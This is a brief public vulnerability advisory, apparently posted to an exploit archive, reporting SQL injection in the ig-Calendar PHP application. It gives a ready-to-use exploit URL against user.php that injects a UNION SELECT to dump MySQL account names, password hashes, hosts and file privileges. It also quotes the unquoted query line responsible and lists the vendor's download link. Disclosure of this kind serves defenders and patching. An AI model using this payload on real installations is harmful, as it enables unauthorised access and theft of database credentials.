SQL Injection in ig-Calendar

SQL Injection in ig-Calendar. This works regardless of magic_quotes_gpc!
Dumps mysql login informaion:
http://127.0.0.1/ig-calendar/user.php?id=999%20union%20select%201,User,Password,Host,File_priv,0%20from%20mysql.user
./user.php line 52:
$query = 'SELECT * FROM users WHERE id='.$id;
Should have used quote marks.

Vendor's page:http://www.igeneric.co.uk
download: http://www.igeneric.co.uk/files/ig-calendar-1.0.zip

By Michael Brooks.